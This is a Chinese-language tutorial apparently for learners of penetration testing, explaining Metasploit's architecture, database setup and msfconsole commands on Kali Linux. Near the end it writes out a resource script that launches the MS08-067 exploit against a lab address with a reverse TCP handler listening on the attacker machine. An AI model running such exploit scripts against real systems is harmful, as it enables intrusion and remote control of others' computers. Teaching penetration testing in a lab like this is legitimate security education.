渗透测试者的困扰:
需要掌握数百个工具软件,上千条命令参数,很难去全部记住.
对于新出现的漏洞PoC/EXP有不同的运行环境要求,准备工 作繁琐.
渗透工作者大部分时间都在学习不同工具的使用习惯,如果可以统一那么就方便的多.
Metasploit简介:
- 目前最流行,最强大,最具有扩展性的渗透测试平台软件
- 基于Metasploit进行渗透测试和漏洞分析的流程和方法
- 2003年由HD More发布第一版,2007年用ruby语言重写,其
- 其框架集成了渗透测试标准(PETS)思想;
- 在一定程度上统一了渗透测试和漏洞研究的工作环境;
- 对于新的攻击代码可以比较容易的加入框架
- 开发活跃版本更新频繁(每周)
- 早期版本基于社区力量为维护,后开被Rapid 7收购后打造出其商业版产品
- 目前分化为四个版本,两个为社区版本,基于社区的版本依然十分活跃
- HD More说:为Metasploit写书是种自虐!
- 2014年之后市场上没有再出现新的Metasploit教材
Metasploit Framework(简称MSF)默认集成于Kali Linux之中
MSF目前使用postgresql数据库存储数据,对于早期版本,需要先启动数据库,然后才可以打开metasploit,如今可以直接打开
1,基础库文件
Metasploit的基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分.
▪ Rex
– 基本功能库,用于完成日常基本任务,无需人工手动编码实现
– 处理socket 连接访问,协议应答(http/SSL/SMB等)
– 编码转换(XOR,Base64,Unicode)
▪ Msf::Core
– 提供Msf 的核心基本API,是框架的核心能力实现库
▪ Msf::Base
– 提供友好的API,便于模块调用的库.
▪ Plugin 插件
– 连接和调用外部扩展功能和系统,使用插件去调用其他软件,如调用openwas,sqlmap等.
在打开MSF之前,该软件会自动打开数据库,并且初始化数据库,我们也可以自行操作
root@kali:~# msfdb #管理msf数据库
Manage the metasploit framework database
msfdb init # start and initialize the database #初始化数据库
msfdb reinit # delete and reinitialize the database #删除并且初始化数据库
msfdb delete # delete database and stop using it #删除并且停用该数据库
msfdb start # start the database #开启数据库
msfdb stop # stop the database #关闭数据库
msfdb status # check service status #核对数据库状态
msfdb run # start the database and run msfconsole #开启数据库并且运行msfconsole接口
MSF默认使用的数据库是postgresql数据库,该数据库侦听系统的5432端口
MSF中的模块的路径:
root@kali:/usr/share# cd /usr/share/metasploit-framework/modules/
root@kali:/usr/share/metasploit-framework/modules# ls
auxiliary encoders exploits nops payloads post
模块简介
exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动)
Payload:成功执行exploit之后,真正在目标系统上执行的代码或指令.
MSF默认有三种payload
root@kali:/usr/share/metasploit-framework/modules# cd payloads/
root@kali:/usr/share/metasploit-framework/modules/payloads# ls
singles stagers stages
-
singles:一体化的payload,所有的功能都在这个代码里面.缺点:体积大,对目标系统内存有要求.
-
tager:体积很小的payload,针对目标计算机内存有限时,先去传输一个较小的payload用于连接,然后去攻击者的电脑下载后续的载荷.
-
stages:利用stager建立的连接下载后续的Payload
shellcode是一种以拿目标的shell为目的的payload代码,由于其建立正向/反向shell而得名.
Auxiliary模块:执行信息收集,枚举,指纹探测,扫描等功能的辅助模块(没有payload的exploit模块)
Encoders模块:对payload进行加密,目的是躲避防病毒软件(AV)检查的模块
Nops:提高payload稳定性及维持大小.
基本使用
对MSF进行升级:
root@kali:~# msfupdate
使用msfconsole接口
- 最流行的用户接口
- 几乎可以使用全部msf功能
- 控制台命令支持tab自动补全
- 支持外部命令的执行(系统命令等)
- 启动方式:点击鼠标启动/msfconsole启动
- 输入help或者?显示当前路径下可以使用的命令
root@kali:~# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v4.17.9-dev ]
+ -- --=[ 1806 exploits - 1027 auxiliary - 312 post ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
msf > pwd #在该路径下也可也输入linux系统命令
[*] exec: pwd
/root
msf > id
[*] exec: id
uid=0(root) gid=0(root) 组=0(root)
msf > help workspace #显示应用的使用方法,或者使用workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information
msf > exit #退出msfcole
root@kali:~#
msf > connect -h #connect可以作为一个客户端去连接远程服务器的Ip和端口,和nc使用功能相同
Usage: connect [options] <host> <port>
Communicate with a host, similar to interacting via netcat, taking advantage of
any configured session pivoting.
OPTIONS:
-C Try to use CRLF for EOL sequence.
-P <opt> Specify source port.
-S <opt> Specify source address.
-c <opt> Specify which Comm to use.
-h Help banner.
-i <opt> Send the contents of a file.
-p <opt> List of proxies to use.
-s Connect with SSL.
-u Switch to a UDP socket.
-w <opt> Specify connect timeout.
-z Just try to connect, then return.
msf > connect 192.168.128.129 80
[*] Connected to 192.168.128.129:80
msf > show exploits #显示当前可用的攻击模块,当然也可以查看其他模块
msf > show auxiliary
msf > search s08-067 #使用search可以直接搜索具体的某个模块的路径或者搜索关键字也可以查询到
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption
search的用法:
msf > search -h
Usage: search [ options ] <keywords>
OPTIONS:
-h Show this help information
-o <file> Send output to a file in csv format
-S <string> Search string for row filter
Keywords:
app : Modules that are client or server attacks #选择针对于客户端还是服务器的攻击
author : Modules written by this author #被哪个作者编写的模块
bid : Modules with a matching Bugtraq ID #匹配bid
cve : Modules with a matching CVE ID #根据CVE ID去匹配/查询
edb : Modules with a matching Exploit-DB ID #根据EDB ID去匹配
name : Modules with a matching descriptive name #根据描述的名字去匹配
platform : Modules affecting this platform #根据受影响的平台去匹配
port : Modules with a matching port #匹配端口
ref : Modules with a matching ref #匹配ref
type : Modules of a specific type (exploit, payload, auxiliary, encoder, post, or nop) #根据模块的特殊类型去匹配
Examples:
search cve:2009 type:exploit app:client
使用use命令使用具体的模块
msf > use -h
Usage: use module_name
#use命令用于与给定的模块名进行交互
The use command is used to interact with a module of a given name.
msf > use exploit/windows/smb/ms08_067_netapi #使用该路径下的ms-8-067漏洞的攻击模块
msf exploit(windows/smb/ms08_067_netapi) > info #显示当前模块的信息
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2008-10-28
Available targets: #该模块适用的目标主机的版本
Id Name
-- ----
.
.
.
.
.
Basic options: #使用该模块需要配置的操作.Required为yes的需要根据Description配置
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
References: #参考文档
https://cvedetails.com/cve/CVE-2008-4250/
OSVDB (49243)
https://technet.microsoft.com/en-us/library/security/MS08-067
http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
使用show option显示该模块下需要配置的信息
msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
使用set去设置需要配置的参数
msf exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.128.129
rhost => 192.168.128.129
通过show target显示当前模块支持的系统版本
msf exploit(windows/smb/ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
使用check去验证该漏洞是否存在于目标系统中
msf exploit(windows/smb/ms08_067_netapi) > check
使用back可以返回上一层上一次目录
msf exploit(windows/smb/ms08_067_netapi) > back
msf >
MSF数据库指令
msf > db_ #MSF数据库可以使用的指令
db_connect db_export db_nmap db_status
db_disconnect db_import db_rebuild_cache
msf > db_status #db_status可以查看数据库状态,这里发现没有连接到数据库
[*] postgresql selected, no connection
创建数据库:
切换到postgres用户:su postgres,
创建用户:createuser username -P,输入自己设的密 码,username为用户名,自己随便起
创建数据库及其属组:createdb --owner=username database 第一个 username为刚刚创建的用户名,后面的database为创建的数据库名称,意为创建数据库database,其属组(主人)为username!
进入MSF终端,连接刚刚设置好的数据库
db_connect +用户名:密码@127.0.0.1/数据库名称(用户名,密码,数据库名都是刚刚设置的)
如果显示已连接但不是自己设置的数据库,
那么断开这个数据库连接,命令为:db_disconnect,然后再从新连接
msf > db_connect username:redhat@127.0.0.1/database #连接数据库
[*] Rebuilding the module cache in the background...
msf > db_status #表示已经连接上database数据库
[*] postgresql connected to database
msf > db_rebuild_cache #将各个模块的缓存放到数据库中,以便于检索MSF数据库的信息会快很多
[*] Purging and rebuilding the module cache in the background...
msf > db_disconnect #断开数据库
msf > db_status
[*] postgresql selected, no connection
使用db_nmap去扫描目标主机,其效果和在系统中使用nmap功能一致,并且能将扫描结果存放到MSF数据库中
msf > db_nmap 192.168.128.129
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-12 01:19 CST
[*] Nmap: Nmap scan report for 192.168.128.129
[*] Nmap: Host is up (0.0027s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 21/tcp open ftp
[*] Nmap: 22/tcp open ssh
[*] Nmap: 23/tcp open telnet
我们输入hosts便查看刚刚db_nmap扫描到的信息(已存入到MSF数据库中)
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.128.129 00:0c:29:01:48:0a Unknown device
使用hosts+ip可以查看数据库中某一台主机的信息
msf > hosts 192.168.128.129
使用hosts -u查看数据库中开启的主机
msf > hosts -u
使用hosts -S根据关键字来在MSF数据库中筛选
msf > hosts -S xp
使用service显示数据库中开放的服务信息
msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.128.129 21 tcp ftp open
192.168.128.129 22 tcp ssh open
使用vulns可以查看目标系统的漏洞信息
msf > vulns
将数据库导出
msf > db_export -h
Usage:
db_export -f <format> [filename]
Format can be one of: xml, pwdump
[-] No output file was specified
例:
#将该数据库以xml格式导入到/root/msfdb.xml文件内
msf > db_export -f xml /root/msfdb.xml
[*] Starting export of workspace default to /root/msfdb.xml [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Starting export of module details
[*] >> Finished export of report
[*] Finished export of workspace default to /root/msfdb.xml [ xml ]...
将xml文件导入到数据库中(注:其他的软件所扫描的结果也可以以xml格式导入到msf数据库中,如nmap)
msf > db_import /root/msfdb.xml
[*] Importing 'Metasploit XML' data
[*] Importing host 192.168.128.129
[*] Successfully imported /root/msfdb.xml
MSF控制台命令
set命令:设置参数
unset:取消设置的参数
setg:设置全局参数,一旦退出msf即全局参数恢复原状,那么在设置完全局参数之后输入save系统即会保存配置文件,下一次打开全局设置依然存在.
unsetg:取消设置全局参数
msf exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.128.129
rhost => 192.168.128.129
msf > save
Saved configuration to: /root/.msf4/config #将全局配置文件存放到该文件中
通过load加载MSF插件可以用来调用外部软件的模块
msf > load openvas
[*] Welcome to OpenVAS integration by kost and averagesecurityguy.
[*]
[*] OpenVAS integration requires a database connection. Once the
[*] database is ready, connect to the OpenVAS server using openvas_connect.
[*] For additional commands use openvas_help.
[*]
[*] Successfully loaded plugin: OpenVAS
然后就可以使用外部的软件
msf > openvas_
openvas_config_list openvas_target_delete
openvas_connect openvas_target_list
openvas_debug openvas_task_create
openvas_disconnect openvas_task_delete
openvas_format_list openvas_task_list
openvas_help openvas_task_pause
openvas_report_delete openvas_task_resume
openvas_report_download openvas_task_resume_or_start
openvas_report_import openvas_task_start
openvas_report_list openvas_task_stop
openvas_target_create openvas_version
unload:取消加载外部的openvas
msf > unload OpenVAS
Unloading plugin OpenVAS...unloaded.
使用loadpath将path路径加载到MSF中,这样便可以将自己写的模块加载到MSF中
msf > loadpath
Usage: loadpath </path/to/modules>
Loads modules from the given directory which should contain subdirectories for
module types, e.g. /path/to/modules/exploits
route:
msf > route -h
Route traffic destined to a given subnet through a supplied session.
Usage:
route [add/remove] subnet netmask [comm/sid]
route [add/remove] cidr [comm/sid]
route [get] <host or network>
route [flush]
route [print]
Subcommands:
add - make a new route
remove - delete a route; 'del' is an alias
flush - remove all routes
get - display the route for a given target
print - show all active routes
Examples:
Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1
Delete the above route
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1
Display the route that would be used for the given host or network
route get 192.168.0.11
我们将对一个漏洞的配置编写到文件内,通过resource命令+文件名直接进行攻击
在一个文件中写入以下内容
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.128.129
set lhost 192.168.128.128
set lport 3333
exploit
然后在MSF终端中输入resource 文件名
msf > resource r.rc
[*] Processing /root/r.rc for ERB directives.
resource (/root/r.rc)> use exploit/windows/smb/ms08_067_netapi
resource (/root/r.rc)> set rhost 192.168.128.129
rhost => 192.168.128.129
resource (/root/r.rc)> set lhost 192.168.128.128
lhost => 192.168.128.128
resource (/root/r.rc)> set lport 3333
lport => 3333
resource (/root/r.rc)> exploit
[*] Started reverse TCP handler on 192.168.128.128:3333